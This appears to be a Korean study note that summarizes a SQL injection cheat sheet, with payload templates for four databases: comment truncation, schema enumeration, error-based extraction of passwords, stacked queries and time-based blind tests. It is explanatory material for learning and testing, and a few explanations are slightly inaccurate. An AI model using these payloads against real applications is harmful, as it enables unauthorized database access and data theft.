2. sql injection์— ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๊ตฌ๋ฌธ์— ๋Œ€ํ•ด์„œ ์ •๋ฆฌ

์ฐธ์กฐ ์‚ฌ์ดํŠธ: https://portswigger.net/web-security/sql-injection/cheatsheet

 

String concatenation

์—ฌ๋Ÿฌ ๋ฌธ์ž์—ด์„ ์—ฐ๊ฒฐํ•ด ํ•˜๋‚˜์˜ ๋ฌธ์ž์—ด๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

 

Oracle 

  • 'foo'||'bar'
    : ๋‘ ๊ฐœ ์ด์ƒ์˜ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ || ์—ฐ์‚ฐ์ž๋กœ ์—ฐ๊ฒฐ

Microsoft 

  • 'foo'+'bar'
    : ๋‘ ๋ฌธ์ž์—ด์„ + ์—ฐ์‚ฐ์ž๋กœ ์—ฐ๊ฒฐ

PostgreSQL 

  • 'foo'||'bar'
    : Oracle์ฒ˜๋Ÿผ || ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์ž์—ด์„ ์—ฐ๊ฒฐ

MySQL 

  • 'foo' 'bar' [Note the space between the two strings]
    : ๊ณต๋ฐฑ์„ ํ†ตํ•ด ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ
  • CONCAT('foo','bar')


Substring

๋ฌธ์ž์—ด์—์„œ ์ง€์ •๋œ ์œ„์น˜์™€ ๊ธธ์ด๋งŒํผ ๋ถ€๋ถ„ ๋ฌธ์ž์—ด์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

ํ˜•์‹: (์›๋ณธ ๋ฌธ์ž์—ด, ์‹œ์ž‘ ์˜คํ”„์…‹, ์ถ”์ถœํ•  ๊ธธ์ด)

์ฒซ ์ธ๋ฑ์Šค๋Š” 0์ด ์•„๋‹ˆ๋ผ 1๋ถ€ํ„ฐ ์‹œ์ž‘ํ•œ๋‹ค.

 

Oracle 

  • SUBSTR('foobar', 4, 2)

Microsoft 

  • SUBSTRING('foobar', 4, 2)

PostgreSQL 

  • SUBSTRING('foobar', 4, 2)

MySQL 

  • SUBSTRING('foobar', 4, 2)

Comments 

์ฃผ์„์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฅผ ์ž˜๋ผ๋‚ด๊ณ  ์ž…๋ ฅ ๋‚ด์šฉ ๋’ค์— ์˜ค๋Š” ์›๋ž˜ ์ฟผ๋ฆฌ์˜ ์ผ๋ถ€๋ฅผ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Oracle 

  • --comment
    : ๋‹จ์ผ ํ–‰ ์ฃผ์„

Microsoft 

  • --comment
    :๋‹จ์ผ ํ–‰ ์ฃผ์„
  • /*comment*/
    : ์—ฌ๋Ÿฌ ์ค„ ์ฃผ์„

PostgreSQL 

  • --comment
  • /*comment*/

MySQL 

  • #comment
    :๋‹จ์ผ ํ–‰ ์ฃผ์„์— ์ฃผ๋กœ ์‚ฌ์šฉ
  • -- comment [Note the space after the double dash]                                                                                                          : -- ๋‹ค์Œ์— ๊ณต๋ฐฑ ์‚ฝ์ž… ํ›„ comment์ž…๋ ฅ
  • /*comment*/

Database version

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ฟผ๋ฆฌ ํ•˜์—ฌ ์œ ํ˜•๊ณผ ๋ฒ„์ „์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ •๋ณด๋Š” ๋” ๋ณต์žกํ•œ ๊ณต๊ฒฉ์„ ๊ณต์‹ํ™”ํ•  ๋•Œ ์œ ์šฉํ•˜๋‹ค.

 

Oracle 

  • SELECT banner FROM v$version                                                                                                                                 : Oracle ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ฒ„์ „ ์ •๋ณด๋ฅผ ํ‘œ์‹œ
  • SELECT version FROM v$instance
    : ํ˜„์žฌ ์ธ์Šคํ„ด์Šค์˜ ๋ฒ„์ „ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

 

Microsoft 

  • SELECT @@version
    : SQL Server์˜ ๋ฒ„์ „ ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜

 

PostgreSQL 

  • SELECT version()
    : PostgreSQL ์„œ๋ฒ„์˜ ๋ฒ„์ „ ์ •๋ณด๋ฅผ ํ™•์ธ

 

MySQL 

  • SELECT @@version
    : MySQL ์„œ๋ฒ„์˜ ๋ฒ„์ „ ์ •๋ณด๋ฅผ ์ถœ๋ ฅ

Database contents

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์กด์žฌํ•˜๋Š” ํ…Œ์ด๋ธ”๊ณผ ํ•ด๋‹น ํ…Œ์ด๋ธ”์— ํฌํ•จ๋œ ์—ด์„ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Oracle 

  • SELECT * FROM all_tables
    : ๋ชจ๋“  ํ…Œ์ด๋ธ”์˜ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  • SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
    : ์ง€์ •ํ•œ ํ…Œ์ด๋ธ” ์ด๋ฆ„์— ํ•ด๋‹นํ•˜๋Š” ํ…Œ์ด๋ธ”์˜ ๋ชจ๋“  ์ปฌ๋Ÿผ(์—ด) ์ •๋ณด๋ฅผ ์กฐํšŒ.

 

Microsoft 

  • SELECT * FROM information_schema.tables
    : ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ํ…Œ์ด๋ธ”์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  • SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    : ์ง€์ •๋œ ํ…Œ์ด๋ธ”์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์ปฌ๋Ÿผ ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜.

 

PostgreSQL 

  • SELECT * FROM information_schema.tables
    : ๋ชจ๋“  ํ…Œ์ด๋ธ”์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์กฐํšŒ.
  • SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    : ์ง€์ •๋œ ํ…Œ์ด๋ธ”์˜ ๋ชจ๋“  ์ปฌ๋Ÿผ ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜.

 

MySQL 

  • SELECT * FROM information_schema.tables
    : ์ง€์ •๋œ ํ…Œ์ด๋ธ”์˜ ๋ชจ๋“  ์ปฌ๋Ÿผ ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜.
  • SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    : ์ง€์ •๋œ ํ…Œ์ด๋ธ”์˜ ๋ชจ๋“  ์ปฌ๋Ÿผ ์ •๋ณด(์ด๋ฆ„, ๋ฐ์ดํ„ฐ ์œ ํ˜•, ๊ธธ์ด ๋“ฑ)๋ฅผ ๋ฐ˜ํ™˜.

Conditional errors

๋‹จ์ผ ๋ถ€์šธ ์กฐ๊ฑด์„ ํ…Œ์ŠคํŠธํ•˜๊ณ  ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ

 

Oracle 

  • SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
    : ์ฃผ์–ด์ง„ ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์šฐ 1์„ 0์œผ๋กœ ๋‚˜๋ˆ„๋Š” ๊ณ„์‚ฐ์„ ์‹œ๋„ํ•˜์—ฌ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์กฐ๊ฑด์ด ๊ฑฐ์ง“์ผ ๊ฒฝ์šฐ NULL์„ ๋ฐ˜ํ™˜ํ•˜์—ฌ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. dual์€ Oracle์—์„œ ๋‹จ์ผ ํ–‰์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ์ž„์‹œ ํ…Œ์ด๋ธ”๋กœ ์ž์ฃผ ์‚ฌ์šฉ

 

Microsoft 

  • SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
    : ์ฃผ์–ด์ง„ ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด 1์„ 0์œผ๋กœ ๋‚˜๋ˆ„๋Š” ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์กฐ๊ฑด์ด ๊ฑฐ์ง“์ผ ๊ฒฝ์šฐ NULL์„ ๋ฐ˜ํ™˜ํ•˜์—ฌ ์ •์ƒ์ ์œผ๋กœ ์ฒ˜๋ฆฌ.

 

PostgreSQL 

  • 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
    : ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ, 0์œผ๋กœ ๋‚˜๋ˆ„๊ธฐ ์—ฐ์‚ฐ์„ ์‹œ๋„ํ•˜์—ฌ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ๊ฑฐ์ง“์ผ ๊ฒฝ์šฐ NULL์ด ๋ฐ˜ํ™˜๋˜๋ฉฐ, ์˜ค๋ฅ˜ ์—†์ด ์‹คํ–‰.  1 = (SELECT...)์˜ ๊ฒฐ๊ณผ๋Š” ํ•ญ์ƒ FALSE.

 

MySQL 

  • SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
    : ์ฃผ์–ด์ง„ ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด information_schema.tables์—์„œ ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ ๋ฐ˜ํ™˜ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉฐ, ์กฐ๊ฑด์ด ๊ฑฐ์ง“์ด๋ฉด ๋‹จ์ˆœํžˆ 'a'๋ผ๋Š” ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ƒํƒœ๋ฅผ ํ™•์ธํ•˜๊ฑฐ๋‚˜ ํ…Œ์ด๋ธ”์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋กœ์ง์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ์— ์‘์šฉ

Extracting data via visible error messages

์•…์˜์ ์ธ ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ์œ ๋„ํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Microsoft 

  • SELECT 'foo' WHERE 1 = (SELECT 'secret')
    : ์ด ์ฟผ๋ฆฌ๋Š” 'foo' ๋ฌธ์ž์—ด์„ ์„ ํƒํ•˜๋Š”๋ฐ, ์กฐ๊ฑด 1 = (SELECT 'secret')์ด ์ฐธ์ด์–ด์•ผ ๊ฒฐ๊ณผ๊ฐ€ ๋ฐ˜ํ™˜. ๊ทธ๋Ÿฌ๋‚˜ ์„œ๋ธŒ์ฟผ๋ฆฌ์—์„œ 'secret' ๋ฌธ์ž์—ด์ด ๋ฐ˜ํ™˜๋˜๊ณ , SQL Server๋Š” ์ˆซ์ž์™€ ๋ฌธ์ž์—ด์„ ๋น„๊ตํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ๋ณ€ํ™˜ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒ. ์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ํŠน์ • ๋ฐ์ดํ„ฐ๋ฅผ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๊ฒฝ์šฐ 'secret'์ด๋ผ๋Š” ๋ฌธ์ž์—ด์ด ์œ ์ถœ
  • > Conversion failed when converting the varchar value 'secret' to data type int.
    : ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ - "varchar ๊ฐ’ 'secret'์„ ๋ฐ์ดํ„ฐ ์œ ํ˜• int๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋™์•ˆ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค."

 PostgreSQL 

  • SELECT CAST((SELECT password FROM users LIMIT 1) AS int)                                                                            : ์ด ์ฟผ๋ฆฌ๋Š” users ํ…Œ์ด๋ธ”์—์„œ ์ฒซ ๋ฒˆ์งธ password ๊ฐ’์„ ๊ฐ€์ ธ์™€ ์ •์ˆ˜๋กœ ๋ณ€ํ™˜ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋ฌธ์ž์—ด๋กœ ์ €์žฅ๋˜์–ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๊ธฐ ๋•Œ๋ฌธ์— ๋ณ€ํ™˜ ๊ณผ์ •์—์„œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ, ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฐ’์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • > invalid input syntax for integer: "secret"
    : ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ - "์ •์ˆ˜์— ๋Œ€ํ•œ ์ž…๋ ฅ ๊ตฌ๋ฌธ์ด ์ž˜๋ชป๋˜์—ˆ์Šต๋‹ˆ๋‹ค: 'secret'"

 
MySQL 

  • SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
    : ์ด ์ฟผ๋ฆฌ๋Š” ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ 'foo'๋ฅผ ๋ฐ˜ํ™˜ํ•˜์ง€๋งŒ, EXTRACTVALUE ํ•จ์ˆ˜๊ฐ€ XML ๊ฒฝ๋กœ์™€ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ์ฟผ๋ฆฌ์—์„œ๋Š” 0x5c(์—ญ์Šฌ๋ž˜์‹œ)์™€ ์„œ๋ธŒ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ('secret')๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ XML ๊ฒฝ๋กœ๋กœ ์ฒ˜๋ฆฌํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ž˜๋ชป๋œ XML ๊ฒฝ๋กœ๊ฐ€ ์ œ๊ณต๋˜๋ฉด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉฐ, ์ด ๊ณผ์ •์—์„œ 'secret' ๋ฌธ์ž์—ด์ด ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. > XPATH syntax
  • error: '\secret'
    : ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ - "XPATH ๊ตฌ๋ฌธ ์˜ค๋ฅ˜: '\secret'"

Batched (or stacked) queries

๋ฐฐ์น˜ ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ์—ฐ์†์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํ›„์† ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๋ฐ˜ํ™˜๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ๊ธฐ์ˆ ์€ ์ฃผ๋กœ ๋ธ”๋ผ์ธ๋“œ ์ทจ์•ฝ์ ๊ณผ ๊ด€๋ จ์ด ์žˆ์œผ๋ฉฐ, ๋‘ ๋ฒˆ์งธ ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ DNS ์กฐํšŒ, ์กฐ๊ฑด๋ถ€ ์˜ค๋ฅ˜, ๋˜๋Š” ์‹œ๊ฐ„ ์ง€์—ฐ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Oracle 

  • Does not support batched queries.
    : Oracle์€ ๋ฐฐ์น˜ ์ฟผ๋ฆฌ๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ํ•œ ๋ฒˆ์— ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ์‹์€ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ฆ‰, ์—ฌ๋Ÿฌ ๊ฐœ์˜ SQL ๋ช…๋ น์–ด๋ฅผ ํ•œ ๋ฒˆ์— ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์—†์œผ๋ฉฐ, ์ฟผ๋ฆฌ๋งˆ๋‹ค ๋ณ„๋„๋กœ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

Microsoft 

  • QUERY-1-HERE; QUERY-2-HERE 
    : ์ด ์ฟผ๋ฆฌ๋Š” ์„ธ๋ฏธ์ฝœ๋ก (;)์œผ๋กœ ๊ตฌ๋ถ„๋œ ๋‘ ๊ฐœ์˜ ์ฟผ๋ฆฌ๋ฅผ ์ˆœ์ฐจ์ ์œผ๋กœ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, SELECT 1; SELECT 2;์ฒ˜๋Ÿผ ์ฟผ๋ฆฌ ๋‘ ๊ฐœ๋ฅผ ํ•œ ๋ฒˆ์— ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๋ฐ˜ํ™˜๋˜์ง€๋งŒ, ๋‘ ๋ฒˆ์งธ ์ฟผ๋ฆฌ๋Š” ์‹คํ–‰๋งŒ ๋˜๊ณ  ๊ฒฐ๊ณผ๋Š” ๋ฐ˜ํ™˜๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ์—ฌ๋Ÿฌ ๋ช…๋ น์–ด๋ฅผ ์ˆœ์ฐจ์ ์œผ๋กœ ์‹คํ–‰ํ•˜์—ฌ ์‹œ์Šคํ…œ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • QUERY-1-HERE QUERY-2-HERE                                                                                                                                   : SQL Server์—์„œ๋Š” ๋•Œ๋•Œ๋กœ ์„ธ๋ฏธ์ฝœ๋ก  ์—†์ด๋„ ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ์ˆœ์ฐจ์ ์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‘ ๋ช…๋ น์ด ๋ฐ”๋กœ ์—ฐ๊ฒฐ๋˜์–ด ์‹คํ–‰๋˜๋ฉฐ, ์ฒซ ๋ฒˆ์งธ ๋ช…๋ น๋งŒ ๊ฒฐ๊ณผ๋กœ ๋ฐ˜ํ™˜๋˜๊ณ  ๋‘ ๋ฒˆ์งธ ๋ช…๋ น์€ ๋น„๋ฐ€๋ฆฌ์— ์‹คํ–‰

 

PostgreSQL 

  • QUERY-1-HERE; QUERY-2-HERE
    : ์„ธ๋ฏธ์ฝœ๋ก (;)์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ๋ฐฐ์น˜ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, SELECT 1; SELECT 2;์™€ ๊ฐ™์ด ๋‘ ์ฟผ๋ฆฌ๋ฅผ ์—ฐ์†์œผ๋กœ ์‹คํ–‰ํ•˜๋ฉด ์ฒซ ๋ฒˆ์งธ ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋งŒ ๋ฐ˜ํ™˜๋˜๊ณ  ๋‘ ๋ฒˆ์งธ ์ฟผ๋ฆฌ๋Š” ์‹คํ–‰๋งŒ ๋ฉ๋‹ˆ๋‹ค.

MySQL 

  • QUERY-1-HERE; QUERY-2-HERE
    : ์„ธ๋ฏธ์ฝœ๋ก ์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ์—ฐ์† ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ผ๋ฐ˜์ ์œผ๋กœ MySQL์˜ ๊ธฐ๋ณธ ์„ค์ •์—์„œ๋Š” ๋ฐฐ์น˜ ์ฟผ๋ฆฌ๋ฅผ SQL ์ธ์ ์…˜์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
Note
: MySQL์—์„œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฐฐ์น˜ ์ฟผ๋ฆฌ๋ฅผ SQL ์ธ์ ์…˜์— ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜, ํƒ€๊นƒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํŠน์ • PHP ๋˜๋Š” Python API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ MySQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ํ†ต์‹ ํ•˜๋Š” ๊ฒฝ์šฐ ๊ฐ€๋”์”ฉ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Time delays

์ฟผ๋ฆฌ๊ฐ€ ์ฒ˜๋ฆฌ๋  ๋•Œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์‹œ๊ฐ„์„ ์ง€์—ฐ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜ ์ฟผ๋ฆฌ๋“ค์€ ์กฐ๊ฑด ์—†์ด 10์ดˆ์˜ ์ง€์—ฐ์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

Oracle 

  • dbms_pipe.receive_message(('a'),10)
    : dbms_pipe.receive_message๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹ ์— ์‚ฌ์šฉ๋˜๋ฉฐ, ์ฒซ ๋ฒˆ์งธ ์ธ์ˆ˜๋กœ ๋ฉ”์‹œ์ง€ ์ด๋ฆ„์„, ๋‘ ๋ฒˆ์งธ ์ธ์ˆ˜๋กœ ๋Œ€๊ธฐ ์‹œ๊ฐ„์„ ์„ค์ •

 

Microsoft 

  • WAITFOR DELAY '0:0:10'
    : ์—ฌ๊ธฐ์„œ '0:0:10'์€ 10์ดˆ ๋™์•ˆ์˜ ์ง€์—ฐ์„ ์˜๋ฏธํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด 10์ดˆ ๋™์•ˆ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ฒ˜๋ฆฌ๋ฅผ ์ง€์—ฐ.

 

PostgreSQL 

  • SELECT pg_sleep(10)
    : pg_sleep ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ 10์ดˆ ๋™์•ˆ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ฒ˜๋ฆฌ๋ฅผ ์ง€์—ฐ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ์ž…๋ ฅํ•œ ์ดˆ๋งŒํผ ๋Œ€๊ธฐ ์‹œ๊ฐ„์„ ์„ค์ •.

 

MySQL 

  • SELECT SLEEP(10)
    : SLEEP ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž…๋ ฅ ๊ฐ’์œผ๋กœ ์ง€์ •๋œ ์‹œ๊ฐ„๋งŒํผ ์ง€์—ฐ๋˜๋ฉฐ, ์—ฌ๊ธฐ์„œ 10์€ 10์ดˆ๋ฅผ ์˜๋ฏธ.

Conditional time delays

๋‹จ์ผ ๋ถ€์šธ ์กฐ๊ฑด์„ ํ…Œ์ŠคํŠธํ•˜์—ฌ, ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์šฐ ์‹œ๊ฐ„ ์ง€์—ฐ์„ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

 

Oracle 

  • SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
    : ์ด ์ฟผ๋ฆฌ๋Š” ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ 10์ดˆ ๋™์•ˆ ์ง€์—ฐ์„ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. CASE๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ ์กฐ๊ฑด์„ ํ‰๊ฐ€ํ•˜๋ฉฐ, ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด dbms_pipe.receive_message(('a'),10)์„ ํ˜ธ์ถœํ•˜์—ฌ 10์ดˆ ์ง€์—ฐ์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. 'a'||๋Š” ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์„ ์‚ฌ์šฉํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ, ์ง€์—ฐ์ด ๋ฐœ์ƒํ•  ๋•Œ ๋‹จ์ผ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ.

Microsoft 

  • IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
    : ํŠน์ • ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ 10์ดˆ ๋™์•ˆ ๋Œ€๊ธฐํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. IF๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ ์กฐ๊ฑด์„ ํ‰๊ฐ€ํ•˜๊ณ , ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์šฐ WAITFOR DELAY '0:0:10' ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ 10์ดˆ ์ง€์—ฐ์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

 

PostgreSQL 

  • SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
    : ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์šฐ pg_sleep(10)์„ ํ˜ธ์ถœํ•˜์—ฌ 10์ดˆ ์ง€์—ฐ์„ ์œ ๋ฐœํ•˜๊ณ , ๊ฑฐ์ง“์ผ ๊ฒฝ์šฐ pg_sleep(0)์„ ํ˜ธ์ถœํ•˜์—ฌ ์ง€์—ฐ ์—†์ด ๋ฐ”๋กœ ์‘๋‹ต์„ ๋ฐ˜ํ™˜.

 

MySQL 

  • SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
